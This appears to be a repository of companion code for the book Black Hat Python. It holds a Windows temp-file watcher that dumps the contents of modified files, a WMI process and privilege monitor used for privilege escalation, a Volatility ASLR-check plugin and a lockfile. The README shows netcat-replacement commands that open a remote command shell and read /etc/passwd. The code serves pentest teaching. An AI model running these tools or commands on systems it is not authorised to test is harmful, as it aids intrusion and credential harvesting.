http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html 5 | 6 | import os 7 | import tempfile 8 | import threading 9 | import win32con 10 | import win32file 11 | 12 | FILE_CREATED = 1 13 | FILE_DELETED = 2 14 | FILE_MODIFIED = 3 15 | FILE_RENAMED_FROM = 4 16 | FILE_RENAMED_TO = 5 17 | 18 | FILE_LIST_DIRECTORY = 0x0001 19 | # Common temp file directories 20 | PATHS = ["c:\\Windows\\Temp", tempfile.gettempdir()] 21 | 22 | 23 | def monitor(path_to_watch): 24 | # Get a handle to the directory we want to watch. 25 | h_directory = win32file.CreateFile( 26 | path_to_watch, 27 | FILE_LIST_DIRECTORY, 28 | win32con.FILE_SHARE_READ 29 | | win32con.FILE_SHARE_WRITE 30 | | win32con.FILE_SHARE_DELETE, 31 | None, 32 | win32con.OPEN_EXISTING, 33 | win32con.FILE_FLAG_BACKUP_SEMANTICS, 34 | None, 35 | ) 36 | 37 | while True: 38 | try: 39 | # Listen for changes in the directory we're watching. 40 | results = win32file.ReadDirectoryChangesW( 41 | h_directory, 42 | 1024, 43 | True, 44 | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES 45 | | win32con.FILE_NOTIFY_CHANGE_DIR_NAME 46 | | win32con.FILE_NOTIFY_CHANGE_FILE_NAME 47 | | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE 48 | | win32con.FILE_NOTIFY_CHANGE_SECURITY 49 | | win32con.FILE_NOTIFY_CHANGE_SIZE, 50 | None, 51 | None, 52 | ) 53 | for action, file_name in results: 54 | full_filename = os.path.join(path_to_watch, file_name) 55 | if action == FILE_CREATED: 56 | print(f"[+] Created {full_filename}") 57 | 58 | elif action == FILE_DELETED: 59 | print(f"[-] Deleted {full_filename}") 60 | 61 | elif action == FILE_MODIFIED: 62 | print(f"[*] Modified {full_filename}") 63 | try: 64 | with open(full_filename) as f: 65 | contents = f.read() 66 | print("[vvv] Dumping contents ... ") 67 | print(contents) 68 | print("[^^^] Dump complete.") 69 | except Exception as e: 70 | print(f"[!!!] Dump failed. {e}") 71 | 72 | elif action == FILE_RENAMED_FROM: 73 | print(f"[>] Renamed from {full_filename}") 74 | elif action == FILE_RENAMED_TO: 75 | print(f"[<] Renamed to {full_filename}") 76 | else: 77 | print(f"[?] Unknown action on {full_filename}") 78 | except KeyboardInterrupt: 79 | break 80 | 81 | except Exception: 82 | pass 83 | 84 | 85 | if __name__ == "__main__": 86 | for path in PATHS: 87 | monitor_thread = threading.Thread(target=monitor, args=(path,)) 88 | monitor_thread.start() 89 | -------------------------------------------------------------------------------- /09_privescalation/process_monitor.py: -------------------------------------------------------------------------------- 1 | # Requires wmi which is a wrapper for the Windows Management Instrumentation API 2 | # pip install wmi 3 | 4 | import os 5 | import sys 6 | 7 | import win32api 8 | import win32con 9 | import win32security 10 | 11 | import wmi 12 | 13 | 14 | def get_process_privileges(pid): 15 | try: 16 | # Get a handle to the process 17 | hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION, False, pid) 18 | 19 | # Open the main process token 20 | htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY) 21 | 22 | # Get the list of privileges enabled in this process 23 | privs = win32security.GetTokenInformation(htok, win32security.TokenPrivileges) 24 | privileges = "" 25 | for priv_id, flags in privs: 26 | # Check if the privilege is enabled 27 | if ( 28 | flags 29 | == win32security.SE_PRIVILEGE_ENABLED 30 | | win32security.SE_PRIVILEGE_ENABLED_BY_DEFAULT 31 | ): 32 | # Lookup the human-readable privilege name 33 | privileges += f"{win32security.LookupPrivilegeName(None, priv_id)}|" 34 | except Exception: 35 | privileges = "N/A" 36 | 37 | return privileges 38 | 39 | 40 | def log_to_file(message): 41 | with open("process_monitor_log.csv", "a") as fd: 42 | fd.write(f"{message}\n") 43 | 44 | 45 | def monitor(): 46 | log_to_file("CommandLine, Time, Executable, Parent PID, PID, User, Privileges") 47 | c = wmi.WMI() 48 | process_watcher = c.Win32_Process.watch_for("creation") 49 | while True: 50 | try: 51 | new_process = process_watcher() 52 | cmdline = new_process.CommandLine 53 | create_date = new_process.CreationDate 54 | executable = new_process.ExecutablePath 55 | parent_pid = new_process.ParentProcessId 56 | pid = new_process.ProcessId 57 | proc_owner = new_process.GetOwner() 58 | 59 | privileges = get_process_privileges(pid) 60 | process_log_message = ( 61 | f"{cmdline} , {create_date} , {executable}," 62 | f"{parent_pid} , {pid} , {proc_owner} , {privileges}" 63 | ) 64 | print(process_log_message) 65 | print() 66 | log_to_file(process_log_message) 67 | except Exception: 68 | pass 69 | 70 | 71 | if __name__ == "__main__": 72 | monitor() 73 | -------------------------------------------------------------------------------- /10_offensiveforensics/aslrcheck.py: -------------------------------------------------------------------------------- 1 | # Requires volatility (the python 3 version) 2 | # pip install volatility3 3 | # Search all processes and check for ASLR protection 4 | from typing import Callable, List 5 | 6 | from volatility.framework import constants, exceptions, interfaces, renderers 7 | from volatility.framework.configuration import requirements 8 | from volatility.framework.renderers import format_hints 9 | from volatility.framework.symbols import intermed 10 | from volatility.framework.symbols.windows import extensions 11 | from volatility.plugins.windows import pslist 12 | 13 | import io 14 | import logging 15 | import pefile 16 | 17 | vollog = logging.getLogger(__name__) 18 | 19 | IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040 20 | IMAGE_FILE_RELOCS_STRIPPED = 0x0001 21 | 22 | 23 | def check_aslr(pe): 24 | pe.parse_data_directories( 25 | [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG"]] 26 | ) 27 | dynamic = False 28 | stripped = False 29 | 30 | if pe.OPTIONAL_HEADER.DllCharacteristics & IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE: 31 | dynamic = True 32 | if pe.FILE_HEADER.Characteristics & IMAGE_FILE_RELOCS_STRIPPED: 33 | stripped = True 34 | if not dynamic or (dynamic and stripped): 35 | aslr = False 36 | else: 37 | aslr = True 38 | return aslr 39 | 40 | 41 | class AslrCheck(interfaces.plugins.PluginInterface): 42 | @classmethod 43 | def get_requirements(cls): 44 | 45 | return [ 46 | requirements.TranslationLayerRequirement( 47 | name="primary", 48 | description="Memory layer for the kernel", 49 | architectures=["Intel32", "Intel64"], 50 | ), 51 | requirements.SymbolTableRequirement( 52 | name="nt_symbols", description="Windows kernel symbols" 53 | ), 54 | requirements.PluginRequirement( 55 | name="pslist", plugin=pslist.PsList, version=(1, 0, 0) 56 | ), 57 | requirements.ListRequirement( 58 | name="pid", 59 | element_type=int, 60 | description="Process ID to include (all other processes are excluded)", 61 | optional=True, 62 | ), 63 | ] 64 | 65 | @classmethod 66 | def create_pid_filter( 67 | cls, pid_list: List[int] = None 68 | ) -> Callable[[interfaces.objects.ObjectInterface], bool]: 69 | filter_func = lambda _: False 70 | pid_list = pid_list or [] 71 | filter_list = [x for x in pid_list if x is not None] 72 | if filter_list: 73 | filter_func = lambda x: x.UniqueProcessId not in filter_list 74 | return filter_func 75 | 76 | def _generator(self, procs): 77 | pe_table_name = intermed.IntermediateSymbolTable.create( 78 | self.context, 79 | self.config_path, 80 | "windows", 81 | "pe", 82 | class_types=extensions.pe.class_types, 83 | ) 84 | 85 | procnames = list() 86 | for proc in procs: 87 | procname = proc.ImageFileName.cast( 88 | "string", max_length=proc.ImageFileName.vol.count, errors="replace" 89 | ) 90 | if procname in procnames: 91 | continue 92 | procnames.append(procname) 93 | 94 | proc_id = "Unknown" 95 | try: 96 | proc_id = proc.UniqueProcessId 97 | proc_layer_name = proc.add_process_layer() 98 | except exceptions.InvalidAddressException as e: 99 | vollog.error( 100 | f"Process {proc_id}: invalid address {e} in layer {e.layer_name}" 101 | ) 102 | continue 103 | 104 | peb = self.context.object( 105 | self.config["nt_symbols"] + constants.BANG + "_PEB", 106 | layer_name=proc_layer_name, 107 | offset=proc.Peb, 108 | ) 109 | 110 | try: 111 | dos_header = self.context.object( 112 | pe_table_name + constants.BANG + "_IMAGE_DOS_HEADER", 113 | offset=peb.ImageBaseAddress, 114 | layer_name=proc_layer_name, 115 | ) 116 | except Exception as e: 117 | continue 118 | 119 | pe_data = io.BytesIO() 120 | for offset, data in dos_header.reconstruct(): 121 | pe_data.seek(offset) 122 | pe_data.write(data) 123 | pe_data_raw = pe_data.getvalue() 124 | pe_data.close() 125 | 126 | try: 127 | pe = pefile.PE(data=pe_data_raw) 128 | except Exception as e: 129 | continue 130 | 131 | aslr = check_aslr(pe) 132 | 133 | yield ( 134 | 0, 135 | ( 136 | proc_id, 137 | procname, 138 | format_hints.Hex(pe.OPTIONAL_HEADER.ImageBase), 139 | aslr, 140 | ), 141 | ) 142 | 143 | def run(self): 144 | procs = pslist.PsList.list_processes( 145 | self.context, 146 | self.config["primary"], 147 | self.config["nt_symbols"], 148 | filter_func=self.create_pid_filter(self.config.get("pid", None)), 149 | ) 150 | return renderers.TreeGrid( 151 | [ 152 | ("PID", int), 153 | ("Filename", str), 154 | ("Base", format_hints.Hex), 155 | ("ASLR", bool), 156 | ], 157 | self._generator(procs), 158 | ) 159 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Tools from Black Hat Python 2 | 3 | [Black Hat Python, 2nd Edition 4 | Python Programming for Hackers and Pentesters 5 | by Justin Seitz and Tim Arnold](https://nostarch.com/black-hat-python2E) 6 | 7 | Each tool is standalone, and any 3rd party libraries are described at the top of each file. To simplify installation, all 3rd party libraries for _all_ the tools in this repo can be installed with poetry using `poetry install`. 8 | 9 | --- 10 | ## Networking tools 11 | 12 | ### TCP Client 13 | ![TCP Client](docs/img/tcp_client.png) 14 | 15 | ### TCP Server 16 | ![TCP Client/Server](docs/img/tcp_server.png) 17 | 18 | ### Netcat replacement 19 | 20 | Can be used to upload files, execute remote commands (after pressing Ctrl + Z) 21 | 22 | #### Examples 23 | 24 | ```bash 25 | netcat.py -t 192.168.1.108 -p 5555 -l -c # command shell 26 | netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.whatisup # upload to file 27 | netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat /etc/passwd\" # execute command 28 | echo 'ABCDEFGHI' | ./netcat.py -t 192.168.1.108 -p 135 # echo local text to server port 135 29 | netcat.py -t 192.168.1.108 -p 5555 # connect to server 30 | ``` 31 | 32 | #### Screenshots 33 | 34 | ![Netcat](docs/img/netcat.png) -------------------------------------------------------------------------------- /docs/img/netcat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lucasmelin/blackhat-python/4b2b5a938ec4059aa40b9ca54e79dfb6180749e5/docs/img/netcat.png -------------------------------------------------------------------------------- /docs/img/tcp_client.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lucasmelin/blackhat-python/4b2b5a938ec4059aa40b9ca54e79dfb6180749e5/docs/img/tcp_client.png -------------------------------------------------------------------------------- /docs/img/tcp_server.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lucasmelin/blackhat-python/4b2b5a938ec4059aa40b9ca54e79dfb6180749e5/docs/img/tcp_server.png -------------------------------------------------------------------------------- /poetry.lock: -------------------------------------------------------------------------------- 1 | [[package]] 2 | name = "bcrypt" 3 | version = "3.2.0" 4 | description = "Modern password hashing for your software and your servers" 5 | category = "main" 6 | optional = false 7 | python-versions = ">=3.6" 8 | 9 | [package.dependencies] 10 | cffi = ">=1.1" 11 | six = ">=1.4.1" 12 | 13 | [package.extras] 14 | tests = ["pytest (>=3.2.1,!=3.3.0)"] 15 | typecheck = ["mypy"] 16 | 17 | [[package]] 18 | name = "black" 19 | version = "21.12b0" 20 | description = "The uncompromising code formatter." 21 | category = "dev" 22 | optional = false 23 | python-versions = ">=3.6.2" 24 | 25 | [package.dependencies] 26 | click = ">=7.1.2" 27 | mypy-extensions = ">=0.4.3" 28 | pathspec = ">=0.9.0,<1" 29 | platformdirs = ">=2" 30 | tomli = ">=0.2.6,<2.0.0" 31 | typing-extensions = [ 32 | {version = ">=3.10.0.0", markers = "python_version < \"3.10\""}, 33 | {version = "!=3.10.0.1", markers = "python_version >= \"3.10\""}, 34 | ] 35 | 36 | [package.extras] 37 | colorama = ["colorama (>=0.4.3)"] 38 | d = ["aiohttp (>=3.7.4)"] 39 | jupyter = ["ipython (>=7.8.0)", "tokenize-rt (>=3.2.0)"] 40 | python2 = ["typed-ast (>=1.4.3)"] 41 | uvloop = ["uvloop (>=0.15.2)"] 42 | 43 | [[package]] 44 | name = "certifi" 45 | version = "2021.10.8" 46 | description = "Python package for providing Mozilla's CA Bundle." 47 | category = "main" 48 | optional = false 49 | python-versions = "*" 50 | 51 | [[package]] 52 | name = "cffi" 53 | version = "1.15.0" 54 | description = "Foreign Function Interface for Python calling C code." 55 | category = "main" 56 | optional = false 57 | python-versions = "*" 58 | 59 | [package.dependencies] 60 | pycparser = "*" 61 | 62 | [[package]] 63 | name = "charset-normalizer" 64 | version = "2.0.9" 65 | description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." 66 | category = "main" 67 | optional = false 68 | python-versions = ">=3.5.0" 69 | 70 | [package.extras] 71 | unicode_backport = ["unicodedata2"] 72 | 73 | [[package]] 74 | name = "click" 75 | version = "8.0.3" 76 | description = "Composable command line interface toolkit" 77 | category = "dev" 78 | optional = false 79 | python-versions = ">=3.6" 80 | 81 | [package.dependencies] 82 | colorama = {version = "*", markers = "platform_system == \"Windows\""} 83 | 84 | [[package]] 85 | name = "colorama" 86 | version = "0.4.4" 87 | description = "Cross-platform colored terminal text." 88 | category = "dev" 89 | optional = false 90 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" 91 | 92 | [[package]] 93 | name = "cryptography" 94 | version = "36.0.1" 95 | description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." 96 | category = "main" 97 | optional = false 98 | python-versions = ">=3.6" 99 | 100 | [package.dependencies] 101 | cffi = ">=1.12" 102 | 103 | [package.extras] 104 | docs = ["sphinx (>=1.6.5,!=1.8.0,!=3.1.0,!=3.1.1)", "sphinx-rtd-theme"] 105 | docstest = ["pyenchant (>=1.6.11)", "twine (>=1.12.0)", "sphinxcontrib-spelling (>=4.0.1)"] 106 | pep8test = ["black", "flake8", "flake8-import-order", "pep8-naming"] 107 | sdist = ["setuptools_rust (>=0.11.4)"] 108 | ssh = ["bcrypt (>=3.1.5)"] 109 | test = ["pytest (>=6.2.0)", "pytest-cov", "pytest-subtests", "pytest-xdist", "pretend", "iso8601", "pytz", "hypothesis (>=1.11.4,!=3.79.2)"] 110 | 111 | [[package]] 112 | name = "deprecated" 113 | version = "1.2.13" 114 | description = "Python @deprecated decorator to deprecate old python classes, functions or methods." 115 | category = "main" 116 | optional = false 117 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 118 | 119 | [package.dependencies] 120 | wrapt = ">=1.10,<2" 121 | 122 | [package.extras] 123 | dev = ["tox", "bump2version (<1)", "sphinx (<2)", "importlib-metadata (<3)", "importlib-resources (<4)", "configparser (<5)", "sphinxcontrib-websupport (<2)", "zipp (<2)", "PyTest (<5)", "PyTest-Cov (<2.6)", "pytest", "pytest-cov"] 124 | 125 | [[package]] 126 | name = "future" 127 | version = "0.18.2" 128 | description = "Clean single-source support for Python 3 and 2" 129 | category = "main" 130 | optional = false 131 | python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" 132 | 133 | [[package]] 134 | name = "github3.py" 135 | version = "3.0.0" 136 | description = "Python wrapper for the GitHub API(http://developer.github.com/v3)" 137 | category = "main" 138 | optional = false 139 | python-versions = ">=3.6" 140 | 141 | [package.dependencies] 142 | jwcrypto = ">=0.5.0" 143 | python-dateutil = ">=2.6.0" 144 | requests = ">=2.18" 145 | uritemplate = ">=3.0.0" 146 | 147 | [[package]] 148 | name = "idna" 149 | version = "3.3" 150 | description = "Internationalized Domain Names in Applications (IDNA)" 151 | category = "main" 152 | optional = false 153 | python-versions = ">=3.5" 154 | 155 | [[package]] 156 | name = "jwcrypto" 157 | version = "1.0" 158 | description = "Implementation of JOSE Web standards" 159 | category = "main" 160 | optional = false 161 | python-versions = "*" 162 | 163 | [package.dependencies] 164 | cryptography = ">=2.3" 165 | deprecated = "*" 166 | 167 | [[package]] 168 | name = "lxml" 169 | version = "4.7.1" 170 | description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." 171 | category = "main" 172 | optional = false 173 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, != 3.4.*" 174 | 175 | [package.extras] 176 | cssselect = ["cssselect (>=0.7)"] 177 | html5 = ["html5lib"] 178 | htmlsoup = ["beautifulsoup4"] 179 | source = ["Cython (>=0.29.7)"] 180 | 181 | [[package]] 182 | name = "mypy-extensions" 183 | version = "0.4.3" 184 | description = "Experimental type system extensions for programs checked with the mypy typechecker." 185 | category = "dev" 186 | optional = false 187 | python-versions = "*" 188 | 189 | [[package]] 190 | name = "numpy" 191 | version = "1.21.5" 192 | description = "NumPy is the fundamental package for array computing with Python." 193 | category = "main" 194 | optional = false 195 | python-versions = ">=3.7,<3.11" 196 | 197 | [[package]] 198 | name = "opencv-python" 199 | version = "4.5.4.60" 200 | description = "Wrapper package for OpenCV python bindings." 201 | category = "main" 202 | optional = false 203 | python-versions = ">=3.6" 204 | 205 | [package.dependencies] 206 | numpy = ">=1.21.2" 207 | 208 | [[package]] 209 | name = "paramiko" 210 | version = "2.8.1" 211 | description = "SSH2 protocol library" 212 | category = "main" 213 | optional = false 214 | python-versions = "*" 215 | 216 | [package.dependencies] 217 | bcrypt = ">=3.1.3" 218 | cryptography = ">=2.5" 219 | pynacl = ">=1.0.1" 220 | 221 | [package.extras] 222 | all = ["pyasn1 (>=0.1.7)", "pynacl (>=1.0.1)", "bcrypt (>=3.1.3)", "invoke (>=1.3)", "gssapi (>=1.4.1)", "pywin32 (>=2.1.8)"] 223 | ed25519 = ["pynacl (>=1.0.1)", "bcrypt (>=3.1.3)"] 224 | gssapi = ["pyasn1 (>=0.1.7)", "gssapi (>=1.4.1)", "pywin32 (>=2.1.8)"] 225 | invoke = ["invoke (>=1.3)"] 226 | 227 | [[package]] 228 | name = "pathspec" 229 | version = "0.9.0" 230 | description = "Utility library for gitignore style pattern matching of file paths." 231 | category = "dev" 232 | optional = false 233 | python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7" 234 | 235 | [[package]] 236 | name = "pefile" 237 | version = "2021.9.3" 238 | description = "Python PE parsing module" 239 | category = "main" 240 | optional = false 241 | python-versions = ">=3.6.0" 242 | 243 | [package.dependencies] 244 | future = "*" 245 | 246 | [[package]] 247 | name = "platformdirs" 248 | version = "2.4.0" 249 | description = "A small Python module for determining appropriate platform-specific dirs, e.g. a \"user data dir\"." 250 | category = "dev" 251 | optional = false 252 | python-versions = ">=3.6" 253 | 254 | [package.extras] 255 | docs = ["Sphinx (>=4)", "furo (>=2021.7.5b38)", "proselint (>=0.10.2)", "sphinx-autodoc-typehints (>=1.12)"] 256 | test = ["appdirs (==1.4.4)", "pytest (>=6)", "pytest-cov (>=2.7)", "pytest-mock (>=3.6)"] 257 | 258 | [[package]] 259 | name = "pycparser" 260 | version = "2.21" 261 | description = "C parser in Python" 262 | category = "main" 263 | optional = false 264 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 265 | 266 | [[package]] 267 | name = "pycryptodomex" 268 | version = "3.12.0" 269 | description = "Cryptographic library for Python" 270 | category = "main" 271 | optional = false 272 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" 273 | 274 | [[package]] 275 | name = "pynacl" 276 | version = "1.4.0" 277 | description = "Python binding to the Networking and Cryptography (NaCl) library" 278 | category = "main" 279 | optional = false 280 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 281 | 282 | [package.dependencies] 283 | cffi = ">=1.4.1" 284 | six = "*" 285 | 286 | [package.extras] 287 | docs = ["sphinx (>=1.6.5)", "sphinx-rtd-theme"] 288 | tests = ["pytest (>=3.2.1,!=3.3.0)", "hypothesis (>=3.27.0)"] 289 | 290 | [[package]] 291 | name = "python-dateutil" 292 | version = "2.8.2" 293 | description = "Extensions to the standard Python datetime module" 294 | category = "main" 295 | optional = false 296 | python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" 297 | 298 | [package.dependencies] 299 | six = ">=1.5" 300 | 301 | [[package]] 302 | name = "pywin32" 303 | version = "303" 304 | description = "Python for Window Extensions" 305 | category = "main" 306 | optional = false 307 | python-versions = "*" 308 | 309 | [[package]] 310 | name = "requests" 311 | version = "2.26.0" 312 | description = "Python HTTP for Humans." 313 | category = "main" 314 | optional = false 315 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" 316 | 317 | [package.dependencies] 318 | certifi = ">=2017.4.17" 319 | charset-normalizer = {version = ">=2.0.0,<2.1.0", markers = "python_version >= \"3\""} 320 | idna = {version = ">=2.5,<4", markers = "python_version >= \"3\""} 321 | urllib3 = ">=1.21.1,<1.27" 322 | 323 | [package.extras] 324 | socks = ["PySocks (>=1.5.6,!=1.5.7)", "win-inet-pton"] 325 | use_chardet_on_py3 = ["chardet (>=3.0.2,<5)"] 326 | 327 | [[package]] 328 | name = "scapy" 329 | version = "2.4.5" 330 | description = "Scapy: interactive packet manipulation tool" 331 | category = "main" 332 | optional = false 333 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, <4" 334 | 335 | [package.extras] 336 | basic = ["ipython"] 337 | complete = ["ipython", "pyx", "cryptography (>=2.0)", "matplotlib"] 338 | docs = ["sphinx (>=3.0.0)", "sphinx_rtd_theme (>=0.4.3)", "tox (>=3.0.0)"] 339 | 340 | [[package]] 341 | name = "six" 342 | version = "1.16.0" 343 | description = "Python 2 and 3 compatibility utilities" 344 | category = "main" 345 | optional = false 346 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*" 347 | 348 | [[package]] 349 | name = "tomli" 350 | version = "1.2.3" 351 | description = "A lil' TOML parser" 352 | category = "dev" 353 | optional = false 354 | python-versions = ">=3.6" 355 | 356 | [[package]] 357 | name = "typing-extensions" 358 | version = "4.0.1" 359 | description = "Backported and Experimental Type Hints for Python 3.6+" 360 | category = "dev" 361 | optional = false 362 | python-versions = ">=3.6" 363 | 364 | [[package]] 365 | name = "uritemplate" 366 | version = "4.1.1" 367 | description = "Implementation of RFC 6570 URI Templates" 368 | category = "main" 369 | optional = false 370 | python-versions = ">=3.6" 371 | 372 | [[package]] 373 | name = "urllib3" 374 | version = "1.26.7" 375 | description = "HTTP library with thread-safe connection pooling, file post, and more." 376 | category = "main" 377 | optional = false 378 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, <4" 379 | 380 | [package.extras] 381 | brotli = ["brotlipy (>=0.6.0)"] 382 | secure = ["pyOpenSSL (>=0.14)", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "certifi", "ipaddress"] 383 | socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"] 384 | 385 | [[package]] 386 | name = "volatility3" 387 | version = "1.0.1" 388 | description = "Memory forensics framework" 389 | category = "main" 390 | optional = false 391 | python-versions = ">=3.5.3" 392 | 393 | [package.dependencies] 394 | pefile = "*" 395 | 396 | [package.extras] 397 | crypto = ["pycryptodome (>=3)"] 398 | disasm = ["capstone", "capstone-windows"] 399 | doc = ["sphinx (>=1.8.2)", "sphinx-autodoc-typehints (>=1.4.0)", "sphinx-rtd-theme (>=0.4.3)"] 400 | jsonschema = ["jsonschema (>=2.3.0)"] 401 | yara = ["yara-python (>=3.8.0)"] 402 | 403 | [[package]] 404 | name = "wmi" 405 | version = "1.5.1" 406 | description = "Windows Management Instrumentation" 407 | category = "main" 408 | optional = false 409 | python-versions = "*" 410 | 411 | [package.dependencies] 412 | pywin32 = "*" 413 | 414 | [package.extras] 415 | all = ["pytest", "wheel", "twine", "sphinx"] 416 | dev = ["pytest", "sphinx", "wheel", "twine"] 417 | docs = ["sphinx"] 418 | package = ["wheel", "twine"] 419 | tests = ["pytest"] 420 | 421 | [[package]] 422 | name = "wrapt" 423 | version = "1.13.3" 424 | description = "Module for decorators, wrappers and monkey patching." 425 | category = "main" 426 | optional = false 427 | python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7" 428 | 429 | [metadata] 430 | lock-version = "1.1" 431 | python-versions = "3.10" 432 | content-hash = "34b4067d9620e0c7ed3d2212bebc74ac52d5d4c6eea88f73fc85bfec08fc0877" 433 | 434 | [metadata.files] 435 | bcrypt = [ 436 | {file = "bcrypt-3.2.0-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:c95d4cbebffafcdd28bd28bb4e25b31c50f6da605c81ffd9ad8a3d1b2ab7b1b6"}, 437 | {file = "bcrypt-3.2.0-cp36-abi3-manylinux1_x86_64.whl", hash = "sha256:63d4e3ff96188e5898779b6057878fecf3f11cfe6ec3b313ea09955d587ec7a7"}, 438 | {file = "bcrypt-3.2.0-cp36-abi3-manylinux2010_x86_64.whl", hash = "sha256:cd1ea2ff3038509ea95f687256c46b79f5fc382ad0aa3664d200047546d511d1"}, 439 | {file = "bcrypt-3.2.0-cp36-abi3-manylinux2014_aarch64.whl", hash = "sha256:cdcdcb3972027f83fe24a48b1e90ea4b584d35f1cc279d76de6fc4b13376239d"}, 440 | {file = "bcrypt-3.2.0-cp36-abi3-win32.whl", hash = "sha256:a67fb841b35c28a59cebed05fbd3e80eea26e6d75851f0574a9273c80f3e9b55"}, 441 | {file = "bcrypt-3.2.0-cp36-abi3-win_amd64.whl", hash = "sha256:81fec756feff5b6818ea7ab031205e1d323d8943d237303baca2c5f9c7846f34"}, 442 | {file = "bcrypt-3.2.0.tar.gz", hash = "sha256:5b93c1726e50a93a033c36e5ca7fdcd29a5c7395af50a6892f5d9e7c6cfbfb29"}, 443 | ] 444 | black = [ 445 | {file = "black-21.12b0-py3-none-any.whl", hash = "sha256:a615e69ae185e08fdd73e4715e260e2479c861b5740057fde6e8b4e3b7dd589f"}, 446 | {file = "black-21.12b0.tar.gz", hash = "sha256:77b80f693a569e2e527958459634f18df9b0ba2625ba4e0c2d5da5be42e6f2b3"}, 447 | ] 448 | certifi = [ 449 | {file = "certifi-2021.10.8-py2.py3-none-any.whl", hash = "sha256:d62a0163eb4c2344ac042ab2bdf75399a71a2d8c7d47eac2e2ee91b9d6339569"}, 450 | {file = "certifi-2021.10.8.tar.gz", hash = "sha256:78884e7c1d4b00ce3cea67b44566851c4343c120abd683433ce934a68ea58872"}, 451 | ] 452 | cffi = [ 453 | {file = "cffi-1.15.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:c2502a1a03b6312837279c8c1bd3ebedf6c12c4228ddbad40912d671ccc8a962"}, 454 | {file = "cffi-1.15.0-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:23cfe892bd5dd8941608f93348c0737e369e51c100d03718f108bf1add7bd6d0"}, 455 | {file = "cffi-1.15.0-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:41d45de54cd277a7878919867c0f08b0cf817605e4eb94093e7516505d3c8d14"}, 456 | {file = "cffi-1.15.0-cp27-cp27m-win32.whl", hash = "sha256:4a306fa632e8f0928956a41fa8e1d6243c71e7eb59ffbd165fc0b41e316b2474"}, 457 | {file = "cffi-1.15.0-cp27-cp27m-win_amd64.whl", hash = "sha256:e7022a66d9b55e93e1a845d8c9eba2a1bebd4966cd8bfc25d9cd07d515b33fa6"}, 458 | {file = "cffi-1.15.0-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:14cd121ea63ecdae71efa69c15c5543a4b5fbcd0bbe2aad864baca0063cecf27"}, 459 | {file = "cffi-1.15.0-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:d4d692a89c5cf08a8557fdeb329b82e7bf609aadfaed6c0d79f5a449a3c7c023"}, 460 | {file = "cffi-1.15.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0104fb5ae2391d46a4cb082abdd5c69ea4eab79d8d44eaaf79f1b1fd806ee4c2"}, 461 | {file = "cffi-1.15.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:91ec59c33514b7c7559a6acda53bbfe1b283949c34fe7440bcf917f96ac0723e"}, 462 | {file = "cffi-1.15.0-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:f5c7150ad32ba43a07c4479f40241756145a1f03b43480e058cfd862bf5041c7"}, 463 | {file = "cffi-1.15.0-cp310-cp310-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:00c878c90cb53ccfaae6b8bc18ad05d2036553e6d9d1d9dbcf323bbe83854ca3"}, 464 | {file = "cffi-1.15.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:abb9a20a72ac4e0fdb50dae135ba5e77880518e742077ced47eb1499e29a443c"}, 465 | {file = "cffi-1.15.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a5263e363c27b653a90078143adb3d076c1a748ec9ecc78ea2fb916f9b861962"}, 466 | {file = "cffi-1.15.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f54a64f8b0c8ff0b64d18aa76675262e1700f3995182267998c31ae974fbc382"}, 467 | {file = "cffi-1.15.0-cp310-cp310-win32.whl", hash = "sha256:c21c9e3896c23007803a875460fb786118f0cdd4434359577ea25eb556e34c55"}, 468 | 